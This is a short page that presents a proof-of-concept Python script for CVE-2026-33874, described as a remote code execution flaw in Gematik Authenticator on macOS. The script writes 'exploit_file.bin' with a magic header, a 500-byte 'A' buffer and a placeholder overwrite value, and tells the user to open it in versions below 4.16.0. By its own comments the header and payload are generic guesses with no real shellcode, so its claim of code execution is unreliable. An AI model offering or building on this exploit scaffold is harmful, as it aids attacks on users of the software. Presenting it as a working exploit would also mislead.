CVE-2026-33874 Gematik远程代码执行漏洞

# Proof of Concept (PoC) for CVE-2026-33874 # This script generates a malicious file structure. # Usage: Run this script to generate 'exploit_file.bin', then open it with the vulnerable Gematik Authenticator. import struct def generate_malicious_file(filename): """ Generates a file with a specific pattern that triggers the vulnerability. The actual payload structure depends on reverse engineering of the file format. """ # Generic malicious header (example) magic_header = b"\x47\x45\x4d\x41" # Padding or specific pattern to reach the vulnerable buffer # Adjust length based on the actual offset discovered junk_buffer = b"A" * 500 # Simulated overwrite address or payload # In a real scenario, this would be a ROP chain or shellcode payload = b"\x41\x42\x43\x44" with open(filename, "wb") as f: f.write(magic_header) f.write(junk_buffer) f.write(payload) print(f"[*] Malicious file '{filename}' created successfully.") print(f"[*] Open this file with Gematik Authenticator < 4.16.0 on macOS to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_file("exploit_file.bin")